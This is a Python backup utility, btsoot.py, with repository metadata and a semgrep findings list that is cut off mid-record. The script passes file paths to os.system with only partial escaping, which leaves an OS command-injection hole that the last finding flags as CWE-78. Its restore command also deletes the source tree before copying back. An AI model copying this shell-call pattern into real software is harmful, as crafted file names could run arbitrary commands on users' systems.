{ "blob_id": "503503ca77386d7ad226326d25fcb3c96f7f2b8e", "branch_name": "refs/heads/master", "committer_date": 1486668271000, "content_id": "8048eed32403f9de7e81c67432f8bff406690966", "detected_licenses": [ "MIT" ], "directory_id": "d728338358b7acc7a40c4717417a81bfd0088e5c", "extension": "py", "filename": "btsoot.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13445, "license": "MIT", "license_type": "permissive", "path": "/btsoot.py", "provenance": "stack-edu-0054.json.gz:568884", "repo_name": "bbartsch/btsoot", "revision_date": 1486668271000, "revision_id": "f674f1e09af6655e3107a732cfbaa647beabed4d", "snapshot_id": "c5ac989226e2a7e291e8f70c50db721e9edd3041", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/bbartsch/btsoot/f674f1e09af6655e3107a732cfbaa647beabed4d/btsoot.py", "visit_date": "2022-06-02T07:23:39.894812" }
2.625
stackv2
#!/usr/bin/env python3.6 #CONFIGURATION################################################ #STORAGE CONFIG configpath = "" scanstorage = "" #SAFETY GUARD CONFIG safetyguard = True #Input min value in percent for cloning file override safety guard. #Backup will be aborted if change counter passes this value. minwarningvalue = 75 #COPY CONFIG copypath = "" ############################################################## #DO NOT EDIT BELOW HERE! import os, sys, time, shutil, zlib #STARTUP CODE if configpath == "": configpath = "/etc/btsoot/btsoot.conf" if scanstorage == "": scanstorage = "/etc/btsoot/scans/" if copypath == "": copypath = "/usr/local/bin/btsoot-copy" if os.path.exists("/etc/btsoot") == True: pass else: try: os.makedirs("/etc/btsoot/scans") except PermissionError: print("BTSOOT needs root permissions") sys.exit() class color: HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' #DEBUG FUNCTION AND SETVAR debug = False if "--debug" in sys.argv: debug = True def dprint(message): if debug == True: print(f"DEBUG: {message}") def shouldcontinue(quit = True): if input("Should i continue? (yes/No)") == "yes": return 0 else: if quit == True: sys.exit() else: return 1 def crc(filepath): previous = 0 try: for line in open(filepath,"rb"): previous = zlib.crc32(line, previous) except OSError: print("CRC ERROR: OSERROR") return "%X"%(previous & 0xFFFFFFFF) usage = f"""USAGE: {sys.argv[0]} <commands> add <name> <path> <server/local>\tadd block rm <name>\t\t\t\tremove added block scan <name>\t\t\t\tscan added block backup <name>\t\t\t\tbackup scanned block update_dependencies\t\t\tupdate the needed libraries """ def split(string, splitters): #MAY RESOLVE ALL PROBLEMS WITH CSV final = [string] for x in splitters: for i,s in enumerate(final): if x in s and x != s: left, right = s.split(x, 1) final[i] = left final.insert(i + 1, x) final.insert(i + 2, right) return final def scandirectory(walk_dir, scanfile, verbose = False): try: current_scan = [] for root, subdirs, files in os.walk(walk_dir): current_scan.extend([f"{root}\n"]) for filename in files: file_path = os.path.join(root, filename) checksum = crc(file_path) current_scan.extend([f"{file_path},{checksum}\n"]) with open(scanfile, "w") as current_scan_file: current_scan_file.writelines(current_scan) except FileNotFoundError: if verbose == True: print(color.FAIL + "SCAN ERROR: FILE NOT FOUND" + color.ENDC) def main(): try: if sys.argv[1] == "add": name = sys.argv[2] path = sys.argv[3] server = sys.argv[4] with open(configpath, "a") as conf: conf.write(f"{name},{path},{server}\n") elif sys.argv[1] == "rm": name = sys.argv[2] try: lines = [] with open(configpath, "r") as conf: lines = conf.readlines() with open(configpath, "w") as conf: for line in lines: split_line = split(line, ",") if split_line[0] != name: conf.write(line) except FileNotFoundError: print(color.FAIL + "Configfile not found." + color.ENDC) print("Create one with 'add'.") elif sys.argv[1] == "list": try: with open(configpath, "r") as conf: for line in conf: split_line = split(line, ",") print(f"BLOCKNAME: {split_line[0]}") print(f"\tSRC: {split_line[2]}") print(f"\tDEST: {split_line[4].rsplit()}") except FileNotFoundError: print(color.FAIL + "Configfile not found." + color.ENDC) print("Create one with 'add'.") elif sys.argv[1] == "backup": #REMOVE ENTREE FROM BTSOOT CONFIG searched_path = None name = sys.argv[2] scanfilename = "{}_{}.btsscan".format(int(time.time()), name) try: path = "" with open(configpath, "r") as conf: for line in conf: split_line = split(line, ",") path = split_line[2].rstrip() print(color.OKBLUE + f"Executing scan for block {sys.argv[2]}" + color.ENDC) except FileNotFoundError: print(color.FAIL + "Configfile not found." + color.ENDC) print("Create one with 'add'.") #SCAN scandirectory(path, f"{scanstorage}{scanfilename}", False) #LIST FILES TO FIND SCANFILES #SORT OUT ANY UNINTERESTING FILES scanfilelist = [] #LIST DIRS dirs = os.listdir(scanstorage) number_of_files = 0 #SEARCH FOR SCANFILES for singlefile in dirs: blockname = split(singlefile, ["_", "."]) try: if blockname[4] == "btsscan" and blockname[2] == sys.argv[2]: number_of_files = number_of_files + 1 scanfilelist.append(singlefile) except IndexError: pass #LIST CONFIG ENTREES serverlocation = "" sourcelocation = "" with open(configpath, "r") as conf: for line in conf: split_line = split(line, ",") if split_line[0] == sys.argv[2]: sourcelocation = split_line[2] serverlocation = split_line[4].rstrip() #Last entree has nline else: print(color.FAIL + f"No block {sys.argv[2]} found." + color.ENDC) if number_of_files == 1: print("One scan found. Complete backup of ALL data will be created.") print(color.OKBLUE + "Executing datatransfer." + color.ENDC) with open(f"{scanstorage}{scanfilename}", "r") as scan: lines = scan.readlines() for line in lines: path = split(line, ",") if len(path) == 1: os.makedirs(f"{serverlocation}{line.rstrip()}", exist_ok=True) elif len(path) == 3: path = path[0] path = path.replace(" ", "\ ") path = path.replace("(", "\(") path = path.replace(")", "\)") status = os.system(f"{copypath} {path} {serverlocation}{path}") exit_status = os.WEXITSTATUS(status) if exit_status != 0: print(color.FAIL + f"COPY ERROR: {exit_status}" + color.ENDC) else: print(color.FAIL + "Corrupt: " + line + color.ENDC) sys.exit() print("Sufficient number of scan files were found.") splitted_timestamp = [] #FIND LATEST TWO FILES #SPLIT EVERY FILE NAME TO GAIN TIMESTAMP for scanfile in scanfilelist: temp = split(scanfile, "_") splitted_timestamp.append(int(temp[0])) #GETS LATEST SCANFILE'S TIMESTAMP latest_timestamp = max(splitted_timestamp) #SETS MAX VALUE TO -1 TO FIND SECOND HIGHEST VALUE listcounter = 0 for timestamp in splitted_timestamp: if timestamp == latest_timestamp: splitted_timestamp[listcounter] = -1 listcounter = listcounter + 1 #GET PREVIOUS FILE'S TIMESTAMP previous_timestamp = max(splitted_timestamp) dircounter = 0 latest_scan_array_index = -1 previous_scan_array_index = -1 for singlefile in scanfilelist: temp = split(singlefile, "_") if int(temp[0]) == latest_timestamp: latest_scan_array_index = dircounter elif int(temp[0]) == previous_timestamp: previous_scan_array_index = dircounter dircounter = dircounter + 1 print("Latest scan: " + scanfilelist[latest_scan_array_index]) print("Previous scan: " + scanfilelist[previous_scan_array_index] + "\n") #COMPARE THE TWO FILES AGAINST EACH OTHER latest_scan_fd = open(f"{scanstorage}{scanfilelist[latest_scan_array_index]}", "r") previous_scan_fd = open(f"{scanstorage}{scanfilelist[previous_scan_array_index]}", "r") transmit_list = [] latest_scan = latest_scan_fd.readlines() previous_scan = previous_scan_fd.readlines() file_same = 0 file_new = 0 file_total_old = 0 file_total_latest = 0 file_deleted = 0 #DELETED LINES COUNTER #REMOVE DELETED OR CHANGED FILES for oldline in previous_scan: if oldline not in latest_scan: checkifdir = split(oldline, ",") if len(checkifdir) == 1: #IF DIRECTORY, HASH WILL BE "directory". #THAT IS NEEDED DURING DIRECTORY REMOVAL transmit_list.extend([f"{oldline.rstrip()},directory,-\n"]) print(color.FAIL + f"- {oldline}" + color.ENDC, end='') else: transmit_list.extend([f"{oldline.rstrip()},-\n"]) print(color.FAIL + f"- {oldline}" + color.ENDC, end='') file_deleted = file_deleted + 1 file_total_old = file_total_old + 1 #FIND OUT CHANGED OR NEW FILES for line in latest_scan: if line in previous_scan: file_same = file_same + 1 else: checkifdir = split(line, ",") if len(checkifdir) == 1: #IF DIRECTORY, HASH WILL BE "directory". #THAT IS NEEDED DURING DIRECTORY CREATION transmit_list.extend([f"{line.rstrip()},directory,+\n"]) else: transmit_list.extend([f"{line.rstrip()},+\n"]) file_new = file_new + 1 file_total_latest = file_total_latest + 1 #FILE STATS print(f"\nUnchanged files: {file_same}") print(f"New/Changed files: {file_new}") print(f"Deleted files: {file_deleted}") print(f"Total files in latest scan: {file_total_latest}") print(f"Total files in previous scan: {file_total_old}") #SAFETY GUARD: SEE ISSUE #8 if safetyguard == True: if file_deleted >= file_total_old / 100 * minwarningvalue: print(f"SAFETY GUARD: MORE THAN {minwarningvalue}% DELETED") shouldcontinue() elif file_total_latest == 0: print("SAFETY GUARD: NO FILES FOUND.") shouldcontinue() else: pass #TRANSMITTER print(color.OKBLUE + "Executing datatransfer." + color.ENDC) for line in transmit_list: line = split(line.rstrip(), ",") if len(line) > 5: print(color.FAIL + f"Cannot backup file {line}." + color.ENDC) print("Path would brick BTSOOT.") else: if line[4] == "-": if line[2] == "directory": try: shutil.rmtree(f"{serverlocation}{line[0]}") except FileNotFoundError: pass else: try: os.remove(f"{serverlocation}{line[0]}") except FileNotFoundError: pass elif line[4] == "+": if line[2] == "directory": os.makedirs(f"{serverlocation}{line[0]}", exist_ok=True) else: path = line[0] path = path.replace(" ", "\ ") path = path.replace("(", "\(") path = path.replace(")", "\)") status = os.system(f"{copypath} {path} {serverlocation}{path}") exit_status = os.WEXITSTATUS(status) if exit_status != 0: print(color.FAIL + f"COPY ERROR: {exit_status}"+ color.ENDC) else: print(color.WARNING + "TRANSMIT CORRUPTION:" + color.ENDC) print(color.WARNING + line + color.ENDC) previous_scan_fd.close() latest_scan_fd.close() print(color.OKGREEN + "Done." + color.ENDC) elif sys.argv[1] == "restore": print(color.FAIL + "WARNING! This will remove all files from source.") print("IF NO FILES ARE FOUND INSIDE THE BACKUP FOLDER, EVERYTHING IS LOST.") print("Abort using CTRL+C within 15 seconds." + color.ENDC) if not "--override" in sys.argv: time.sleep(15) serverlocation = "" sourcelocation = "" with open(configpath, "r") as conf: for line in conf: split_line = split(line, ",") if split_line[0] == sys.argv[2]: sourcelocation = split_line[2] serverlocation = split_line[4].rstrip() print(color.OKBLUE + "Deleting source." + color.ENDC) shutil.rmtree(sourcelocation) os.makedirs(sourcelocation) print(color.OKBLUE + "Executing datatransfer." + color.ENDC) print("This may take a long time.") #LIST FILES TO FIND SCANFILES #SORT OUT ANY UNINTERESTING FILES scanfilelist = [] #LIST DIRS dirs = os.listdir(scanstorage) number_of_files = 0 #SEARCH FOR SCANFILES for singlefile in dirs: blockname = split(singlefile, ["_", "."]) try: if blockname[4] == "btsscan" and blockname[2] == sys.argv[2]: number_of_files = number_of_files + 1 scanfilelist.append(singlefile) except IndexError: pass splitted_timestamp = [] #FIND LATEST TWO FILES #SPLIT EVERY FILE NAME TO GAIN TIMESTAMP for scanfile in scanfilelist: temp = split(scanfile, "_") splitted_timestamp.append(int(temp[0])) #GETS LATEST SCANFILE'S TIMESTAMP latest_timestamp = max(splitted_timestamp) dircounter = 0 latest_scan_array_index = -1 previous_scan_array_index = -1 for singlefile in scanfilelist: temp = split(singlefile, "_") if int(temp[0]) == latest_timestamp: latest_scan_array_index = dircounter dircounter = dircounter + 1 print("Latest scan: " + scanfilelist[latest_scan_array_index]) latest_scan_fd = open(f"{scanstorage}{scanfilelist[latest_scan_array_index]}", "r") for line in latest_scan_fd: split_line = split(line, ",") if len(split_line) == 1: path = split_line[0] path = path.rstrip() os.makedirs(path, exist_ok=True) elif len(split_line) == 3: path = split_line[0] path = path.replace(" ", "\ ") path = path.replace("(", "\(") path = path.replace(")", "\)") status = os.system(f"/etc/btsoot/copy {serverlocation}{path} {path}") exit_status = os.WEXITSTATUS(status) if exit_status != 0: print(color.FAIL + f"COPY ERROR: {exit_status}"+ color.ENDC) else: pass latest_scan_fd.close() print(color.OKGREEN + "Done." + color.ENDC) else: print(usage) except IndexError: print("INDEX ERROR") print(usage) sys.exit() if __name__ == "__main__": try: main() except KeyboardInterrupt: print("\nQuitting.\n") sys.exit()
473
27.42
90
29
3,794
python
[{"finding_id": "semgrep_rules.python.lang.correctness.useless-eqeq_0e922a795ec58cd2_35ffc569", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.useless-eqeq", "finding_type": "correctness", "severity": "low", "confidence": "medium", "message": "This expression is always True: `configpath == configpath` or `configpath != configpath`. If testing for floating point NaN, use `math.isnan(configpath)`, or `cmath.isnan(configpath)` if the number is complex.", "remediation": "", "location": {"file_path": "unknown", "line_start": 27, "line_end": 27, "column_start": 4, "column_end": 20, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.useless-eqeq", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 27, "col": 4, "offset": 506}, "end": {"line": 27, "col": 20, "offset": 522}, "extra": {"message": "This expression is always True: `configpath == configpath` or `configpath != configpath`. If testing for floating point NaN, use `math.isnan(configpath)`, or `cmath.isnan(configpath)` if the number is complex.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.useless-eqeq_0e922a795ec58cd2_25df31ec", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.useless-eqeq", "finding_type": "correctness", "severity": "low", "confidence": "medium", "message": "This expression is always True: `scanstorage == scanstorage` or `scanstorage != scanstorage`. If testing for floating point NaN, use `math.isnan(scanstorage)`, or `cmath.isnan(scanstorage)` if the number is complex.", "remediation": "", "location": {"file_path": "unknown", "line_start": 29, "line_end": 29, "column_start": 4, "column_end": 21, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.useless-eqeq", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 29, "col": 4, "offset": 567}, "end": {"line": 29, "col": 21, "offset": 584}, "extra": {"message": "This expression is always True: `scanstorage == scanstorage` or `scanstorage != scanstorage`. If testing for floating point NaN, use `math.isnan(scanstorage)`, or `cmath.isnan(scanstorage)` if the number is complex.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.useless-eqeq_0e922a795ec58cd2_86d7eb67", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.useless-eqeq", "finding_type": "correctness", "severity": "low", "confidence": "medium", "message": "This expression is always True: `copypath == copypath` or `copypath != copypath`. If testing for floating point NaN, use `math.isnan(copypath)`, or `cmath.isnan(copypath)` if the number is complex.", "remediation": "", "location": {"file_path": "unknown", "line_start": 31, "line_end": 31, "column_start": 4, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.useless-eqeq", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 31, "col": 4, "offset": 625}, "end": {"line": 31, "col": 18, "offset": 639}, "extra": {"message": "This expression is always True: `copypath == copypath` or `copypath != copypath`. If testing for floating point NaN, use `math.isnan(copypath)`, or `cmath.isnan(copypath)` if the number is complex.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_065baeb0", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 112, "line_end": 112, "column_start": 8, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 112, "col": 8, "offset": 2431}, "end": {"line": 112, "col": 27, "offset": 2450}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_f0fe3d57", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 125, "line_end": 125, "column_start": 9, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 125, "col": 9, "offset": 2759}, "end": {"line": 125, "col": 30, "offset": 2780}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_308eaccd", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 133, "line_end": 133, "column_start": 10, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 133, "col": 10, "offset": 2918}, "end": {"line": 133, "col": 31, "offset": 2939}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_a6cdaffe", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 135, "line_end": 135, "column_start": 10, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 135, "col": 10, "offset": 2988}, "end": {"line": 135, "col": 31, "offset": 3009}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_ebb534f3", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 148, "line_end": 148, "column_start": 10, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 148, "col": 10, "offset": 3311}, "end": {"line": 148, "col": 31, "offset": 3332}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_3596a937", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 166, "line_end": 166, "column_start": 10, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 166, "col": 10, "offset": 3872}, "end": {"line": 166, "col": 31, "offset": 3893}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_54df550a", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 201, "line_end": 201, "column_start": 9, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 201, "col": 9, "offset": 4825}, "end": {"line": 201, "col": 30, "offset": 4846}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_5b31c710", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 214, "line_end": 214, "column_start": 10, "column_end": 51, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 214, "col": 10, "offset": 5318}, "end": {"line": 214, "col": 51, "offset": 5359}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_0e922a795ec58cd2_66d38cb3", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 225, "line_end": 225, "column_start": 17, "column_end": 71, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 225, "col": 17, "offset": 5727}, "end": {"line": 225, "col": 71, "offset": 5781}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": 